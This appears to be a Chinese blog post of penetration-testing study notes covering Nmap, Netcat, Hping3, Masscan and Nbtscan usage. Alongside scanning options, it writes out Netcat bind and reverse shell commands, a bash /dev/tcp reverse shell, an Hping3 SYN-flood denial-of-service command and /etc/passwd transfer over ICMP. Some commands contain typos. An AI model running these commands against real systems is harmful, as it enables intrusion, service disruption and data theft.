暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Nmap,Ntcat,Hping3工具的使用;Masscan以及Nbtscan的简单使用

半杰学渗透 2021-07-27
2031

————————————————


“但追求诗与美,浪漫与爱情却是我们存在的意义。    --《死亡社诗》”



导言:最近停更了几周,主要为了复习,迎接期末考试的来临,之后会继续更新的。主要涉及到的范围是渗透测试,红蓝对抗,工具的使用等等。

本篇文章主要是介绍在网络安全领域中的Nmap、Netcat、Hping3,它们都是安全工程师必备的工具。今天我再一遍学习了一下这三个工具,顺手做了一些笔记。Nmap主要作为端口扫描器,侦查目标机的端口及服务状态;而Netcat则整合了网络中各种常用功能(如后门、文件传输、端口扫描、端口转发等等),能辅助完成丰富的操作;Hping3主要作为特定的TCPIP数据包产生与解析的工具。


Nmap



安装的话直接去官网就好: 

https://nmap.org

扫描方式

Tcp :-sT

Syn:-sS

Ack:  -sA

Udp:  -sU

Rpc:   -sR

Icmp:  -sP

Disable port scan: -sn    (只进行主机发现,不进行端口扫描)


常见扫描方案

Nmap -T4 -A <target>  //-t4是指扫描级别,共0-5,6个级别,-A表示进攻性扫描。

Nmap -sV <target>  //表示版本扫描

Nmap -O <target>   //表示扫描操作系统


其他技巧

--host-timeout   主机超时时间  通常选值  18000

--scan-delay      报文间隔时间  通常选值   1000

-S <源地址>      定义扫描源地址,为了不被发现


实例:

Nmap -v -iR 10000 -P0 -p 80

     随机选择10000台主机扫描是否开启80端口,-P0是表示发送探测报文来确定主机是否在工作很浪费时间,于是跳过主机发现。


Host -l company.com | cut -d  -f  4 | nmap -v -iL -

     进行dns区域传送,以发现company.com中的主机,然后将ip地址提供给nmap。


输出

-oN <file>

-oX <Xml file>

-oG <filespec>  //grep输出,配合命令行中的awk可进行一次性测试


Sudo nmap -oG - -sP 10.1.1.172/29



  Netcat


简介:

Netcat用于从TCP/UDP连接中读取或发送网络数据。cat是Linux中查看或连接文件的命令,所以netcat本意为从网络上查看文件内容。而Netcat的作者Hobbit为它添加了非常丰富的功能,使它几乎能够完成网络操作中各式各样的操作,所以Netcat在网络安全领域被称作“TCPIP的瑞士军刀”

常见使用方法:


网络连接

Nc mail.server.net 25  //向mail.server.net的25号tcp端口发起连接  


端口扫描

Nc -v -z www.yahoo.com 80 22  //-v 显示详细信息, -z I/O模式,扫描时使用  


文件传输

接收端:nc -L -p 4444 > receivedfile.zip   //-L开启监听模式,作为服务器,并开启4444端口,将接受到的数据写入文件somefile.zip中。

发送端:nc 192.168.1.43 4444 <testfile.zip  //使用<符号输入testfile.zip文件,并向目标机的4444端口发起连接。在建立连接成功后,发送端会将文件传送到接收端,接受端将收到的数据写入receivedfile.zip文件。整个过程,比较类似于cat命令,因为具体的网络传输过程由Netcat负责。


开启后门

靶机:nc -L -p 4444 -e cmd.exe  //Netcat甚至也可以用作后门程序。如果用户已经侵入到一台计算机,那么让该计算机在开机后(或其他条件下)自动启动Netcat,打开指定的端口,等待用户连接,在连接成功后执行特定程序(如cmd.exe,以便远程执行命令)。

本机:nc  192.168.1.43 4444  //直接连接即可。


端口转发

端口转发是Netcat比较实用的用法。先将Netcat作为服务器接收其他主机的连接,然后将连接的数据转发另外的目标机端口。

比如:

mkfifo backpipe

nc -l 12345  0<backpipe | nc www.google.com 801>backpipe


比如,此处开启端口12345,作为www.google.com的代理。其他无法直接登陆google的用户可以通过此代理端口来与google进行交互。这里创建了一个fifo,是为实现双向数据通讯,因为管道运算符本身是单向的。

标语提取

标语提取的含义是抓取应用程序在建立连接后打印的标语提示信息,例如建立FTP连接后,FTP服务器可能打印出提示信息:FTP xxx.xxx等数据。

例如,首先创建一份文件,包含以下文本:

HEAD HTTP/1.0

<return>

<return>

然后,将此文件发送到目标服务器的80端口,诱发对方发送HTTP首部数据。

cat file>nc -vv -w 2 www.cnn.com 80 >output.txt   //-vv 显示更详细信息,-w设置延迟时间

然后可从output.txt查看到对方的发送的HEAD的标语信息。


正向远程连接

主要使用nc危险参数-e将受害者系统A的/bin/bash重定向到本地某端口8978,然后攻击者系统B连接远程端口8978

系统A:nc -t -e bin/bash -l -p 8978 //-t是以telnet的形式发起入站请求,-e是程序重定向

系统B:   nc 192.168.xx.xx 8978


反向连接

攻击者系统B监听本地端口8978,然后在受害者系统中使用nc危险参数-e将受害者系统A的/bin/bash重定向连接到远程端口8978。

系统A:nc -lvp 8978

系统B:nc -t -e bin/bash 192.168.xx.xx 8978

补充,B系统也可以用下面这命令来反弹shell

 Bash -i >& dev/tcp/192.168.xx.xx/8978 0>&1

分析一下,首先&>使得标准输出重定向到了我们的TCP连接上,然后0>&1使得标准输入又重定向到了标准输出中,最终的结果就是标准输入也被重定向到了TCP连接中,因此输入和输出都可以在公网主机上进行,通过TCP连接和bash进行交互。


Hping3



简介:

hping是用于生成和解析TCPIP协议数据包的开源工具,hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。

Hping 常用模式:默认是tcp模式,还有rawip模式,udp模式,icmp模式,scan模式,listen模式

举例


Hping --scan 1-30,70-90 -S www.target.host  //SYN方式扫描主机端口


Hping3 -S  -a 114.114.114.114   -p 53 114.114.114.114 -c 5//防火墙的LandAttack攻击测试


Hping -I eth0 -s 192.168.2.1 -p 80   //端口扫描的一种方式


Hping3 -I eth0 -a 192.168.10.99 -S  192.168.10.33 -p 80 -i u1000  //对目标机建立大量的syn连接,造成dos攻击。 用hping3还可以构造出 teardown  landattack synflood smuf


Hping3 192.168.1.159 --listen signature --safe --icmp

Hping3 192.168.1.108 --icmp -d 100 --sign signature --file /etc/passwd //hping3具有文件传输功能,支持tcp/udp/icmp 等协议进行文件传输。这里的signature起到识别的作用


Masscan


Masscan主要就是用来进行端口扫描的,是kali下自带的工具,下面介绍一下它的使用方法:


该工具兼容nmap参数

高级选项

--adapter-ip  指定发包的ip地址

--adapter-port  指定发包的源端口

--adapter-mac  指定发包的源mac地址

--router-mac  指定网关的mac地址

--exclude ip地址范围黑民单

--excludefile 指定ip地址范围黑民单文件

--includefile,-iL  读取一个范围列表进行扫描

--wait  指定发送完包之后的等待时间,默认为10秒

举例:

Masscan --ports 1-10000 192.168.117.130 --adapter-ip 192.168.117.1

//扫描目的ip的1-10000端口,并将发包地址改为192.168.117.1


Nbtscan


简介:Nbtscan可以从Windows网络上收集NetBIOS信息。

这是一款用于扫描Windows网络上NetBIOS名字信息的程序。该程序对给出范围内的每一个地址发送NetBIOS状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,NBTScan列出它的IP地址、NetBIOS计算机名、登录用户名和MAC地址。但只能用于局域网,NBTSCAN可以取到PC的真实IP地址和MAC地址,如果有”ARP攻击”在做怪,可以找到装有ARP攻击的PC的IP/和MAC地址。但只能用于局域网,总之,NBTSCAN可以取到PC的真实IP地址和MAC地址。(可以用来查找arp作怪的主机ip,只限于局域网,攻击机的mac地址可以从被害主机的mac查找,再根据mac查对应真实ip)


用法示例:

Nbtscan -r 192.168.1.0/24    //扫描整个c段

Nbtscan 192.168.1.25-137    //扫描一个范围

Nbtscan -v -s : 192.168.1.0/24     //扫描c段,并以 :分割显示结果

Nbtscan -f <file>    //从文件读取扫描范围


高级用法

Nbtscan -v -s ‘ ‘ 192.168.117.130

Nbtscan -v -s ‘ ’ 192.168.117.130 | awk ‘{print $1}’

//将扫描的结果结合awk进行筛选。这里的-s是表示分隔符的意思,awk默认的分隔符是空格。


小结


个人认为,无论是在渗透测试过程中,还是在网络运维的过程中,使用的工具都有很多,每种工具的大致选项和命令其实本质是一样的,在学习时,不用死记硬背,只需要知道它可以完成某样功能,当具体要用时,再去查相关的使用方法就可以了,毕竟太多了,也记不住!!




            “落日归山海,山海藏深意。”







1

END

1






文章转载自半杰学渗透,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论